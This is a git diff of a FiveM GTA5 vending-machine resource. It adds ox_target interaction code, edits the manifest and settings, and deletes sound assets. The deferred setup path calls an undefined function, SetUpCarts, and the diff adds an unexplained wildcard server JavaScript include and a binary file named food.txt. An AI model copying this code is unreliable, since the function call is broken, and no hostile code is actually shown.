exports['BigDaddy-VendingMachines']:GetMachineData(prop) + end) + if not ok or type(data) ~= 'table' then + return { isAlive = false, isVending = false } + end + return { isAlive = data.isAlive == true, isVending = data.isVending == true } +end + +RegisterNetEvent('BigDaddy-VendingMachines:SetupOxTarget', function(models) + SetUpMachines(models) +end) + +RegisterNetEvent('BigDaddy-VendingMachines:SetLocales', function(usetext, outofordertext) + use = usetext or use + outOfOrder = outofordertext or outOfOrder +end) + +function SetUpMachines(models) + if not GetResourceState('ox_target'):find('start') then + CreateThread(function() + while not GetResourceState('ox_target'):find('start') do + Wait(250) + end + SetUpCarts(models) + end) + return + end + + exports.ox_target:addModel(models, { + { + name = 'VendingMachines:Vending', + icon = 'fa-solid fa-coins', + label = use, + distance = 1.8, + canInteract = function(entity, distance, coords, name) + local x = GetMachineData(entity) + if x and x.isAlive == true and x.isVending == false then + return true + end + return false + end, + event = 'BigDaddy-VendingMachines:DoVendingEvent' + } + }) + + exports.ox_target:addModel(models, { + { + name = 'VendingMachines:OutOfOrder', + icon = 'fa-solid fa-xmark', + label = outOfOrder, + distance = 1.8, + canInteract = function(entity, distance, coords, name) + local x = GetMachineData(entity) + if x and x.isAlive == false then + return true + end + return false + end, + event = 'BigDaddy-VendingMachines:OutOfOrderEvent' + } + }) + print("BigDaddy-VendingMachines: Ox Target options added.") +end \ No newline at end of file diff --git a/resources/BigDaddy-VendingMachines/fxmanifest.lua b/resources/BigDaddy-VendingMachines/fxmanifest.lua index 40afa4784..0c5b5744b 100644 --- a/resources/BigDaddy-VendingMachines/fxmanifest.lua +++ b/resources/BigDaddy-VendingMachines/fxmanifest.lua @@ -2,20 +2,20 @@ fx_version 'bodacious' game 'gta5' author 'Big Daddy' -version '1.2' +version '1.3.0' description 'Interact with Vending Machines' client_scripts { '*Client.net.dll', - 'settings.ini', 'Newtonsoft.Json.dll', + 'Client.lua', 'Vending.json' } server_scripts { '*Server.net.dll', 'Newtonsoft.Json.dll', + 'BigDaddy*.js', 'server.lua', - 'settings.ini' } ui_page 'nui/ui.html' @@ -24,7 +24,8 @@ files { 'nui/ui.html', 'settings.ini', 'nui/sounds/*.ogg', - 'nui/*.png' + 'nui/*.png', + 'settings.ini' } data_file 'DLC_ITYP_REQUEST' 'stream/bzzz_bigdaddy_prop_vending_machines.ytyp' \ No newline at end of file diff --git a/resources/BigDaddy-VendingMachines/nui/CoffeeSuccess.ogg b/resources/BigDaddy-VendingMachines/nui/CoffeeSuccess.ogg deleted file mode 100644 index 549ef6ae0..000000000 Binary files a/resources/BigDaddy-VendingMachines/nui/CoffeeSuccess.ogg and /dev/null differ diff --git a/resources/BigDaddy-VendingMachines/nui/Jammed.ogg b/resources/BigDaddy-VendingMachines/nui/Jammed.ogg deleted file mode 100644 index 6154bfbf6..000000000 Binary files a/resources/BigDaddy-VendingMachines/nui/Jammed.ogg and /dev/null differ diff --git a/resources/BigDaddy-VendingMachines/nui/Jammed.xmp b/resources/BigDaddy-VendingMachines/nui/Jammed.xmp deleted file mode 100644 index e9cecdbc0..000000000 --- a/resources/BigDaddy-VendingMachines/nui/Jammed.xmp +++ /dev/null @@ -1,77 +0,0 @@ - - - - - - - - CuePoint Markers - Cue - f48000 - - - CD Track Markers - Track - f48000 - - - Subclip Markers - InOut - f48000 - - - - 2023-06-26T16:31:26-04:00 - 2023-06-26T16:31:26-04:00 - xmp.iid:33789077-9455-e445-b7a0-1a879f2d5b4f - xmp.did:abfd5969-b80e-b54a-9630-b3e9d78c5365 - xmp.did:abfd5969-b80e-b54a-9630-b3e9d78c5365 - - - - saved - xmp.iid:abfd5969-b80e-b54a-9630-b3e9d78c5365 - 2023-06-26T16:31:26-04:00 - Adobe Audition 23.5 (Windows) - /metadata - - - saved - xmp.iid:33789077-9455-e445-b7a0-1a879f2d5b4f - 2023-06-26T16:31:26-04:00 - Adobe Audition 23.5 (Windows) - / - - - - audio/ogg; codec="vorbis" - - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/resources/BigDaddy-VendingMachines/nui/Pay.ogg b/resources/BigDaddy-VendingMachines/nui/Pay.ogg deleted file mode 100644 index 5e7de4ad0..000000000 Binary files a/resources/BigDaddy-VendingMachines/nui/Pay.ogg and /dev/null differ diff --git a/resources/BigDaddy-VendingMachines/nui/SnackSuccess.ogg b/resources/BigDaddy-VendingMachines/nui/SnackSuccess.ogg deleted file mode 100644 index 6d9806253..000000000 Binary files a/resources/BigDaddy-VendingMachines/nui/SnackSuccess.ogg and /dev/null differ diff --git a/resources/BigDaddy-VendingMachines/nui/SodaSuccess.ogg b/resources/BigDaddy-VendingMachines/nui/SodaSuccess.ogg deleted file mode 100644 index 651e3eabe..000000000 Binary files a/resources/BigDaddy-VendingMachines/nui/SodaSuccess.ogg and /dev/null differ diff --git a/resources/BigDaddy-VendingMachines/settings.ini b/resources/BigDaddy-VendingMachines/settings.ini index 80d7fd176..3882b61aa 100644 --- a/resources/BigDaddy-VendingMachines/settings.ini +++ b/resources/BigDaddy-VendingMachines/settings.ini @@ -3,13 +3,16 @@ key1=pyqo129MJhQB9jFhFGFpeafMxFaynZjcGwlEyhYPz9Bl8v0j66LKVw%3d%3d [settings] useMoney=true +UseOxTarget=true showPrompts=true +DesyncKey=602421578139 + [keys] -;please see documenation on what these do and how to set them actionKey=38 [locales] +use=Use Vending Machine outOfOrder=Out of order ;leave the $ in place or you will break the script presToUse=Press $ to use Vending Machine diff --git a/resources/BigDaddy-VendingMachines/stream/food.txt b/resources/BigDaddy-VendingMachines/stream/food.txt new file mode 100644 index 000000000..4dcbf0df2 Binary files /dev/null and b/resources/BigDaddy-VendingMachines/stream/food.txt differ